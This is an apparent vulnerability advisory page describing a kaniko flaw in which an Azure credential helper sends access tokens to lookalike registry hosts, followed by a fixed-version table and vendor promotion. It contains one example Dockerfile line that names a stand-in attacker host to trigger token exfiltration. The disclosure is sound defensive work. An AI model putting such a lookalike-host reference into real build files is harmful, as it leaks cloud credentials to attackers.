CVE-2026-105769
Last modified
CVE-2026-105769 is a critical-severity vulnerability rated 9.3/10 on the CVSS scale. kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted.
Description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Metrics
Weakness Enumeration
Affected Software
Source: CNA advisory (CVE.org). NVD analysis pending.
| Vendor | Product | Versions |
|---|---|---|
| chainguard | kaniko | < 1.25.20 |
References
Timeline
- Published
- Last Modified
- Status
- Awaiting Analysis
Frequently Asked Questions
What is CVE-2026-105769?
How severe is CVE-2026-105769?
How do I fix CVE-2026-105769?
How Strix Helps
- Same Subject, Wrong User: A Cross-Issuer Account Takeover in n8nStrix found an identity-binding bug in n8n's token-exchange flow enabling account takeover.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
Related CVEs from 2026
- CVE-2026-105763Twenty is an open-source CRM (customer relationship manageme…9.6
- CVE-2026-105764Immich is a high-performance self-hosted photo and video man…7.7
- CVE-2026-105765HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 ar…7.5
- CVE-2026-105766Use of the backend-facing $scheme variable in the trailing-s…3.1
- CVE-2026-105767Improper Neutralization of Special Elements used in an OS Co…3.3
- CVE-2026-105768apko allows users to build and publish OCI container images …6.3
- CVE-2026-10577A security issue exists within the 1715-AENTR EtherNet/IP Ad…10
- CVE-2026-105770Octo STS (github.com/octo-sts/app) before 0.11.2 returns tru…5.3
- CVE-2026-105772Path Traversal (CWE-22) in FileArtifactService in Google ADK…9.1
- CVE-2026-105773Canimaan Software ClamXAV versions 3.3 - 3.11 contains a loc…7
- CVE-2026-105775A security vulnerability has been detected in vllm-project v…4.3
- CVE-2026-105776A flaw has been found in bhagya3929 Employee-Movement-Tracki…7.3
Are you affected by CVE-2026-105769?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
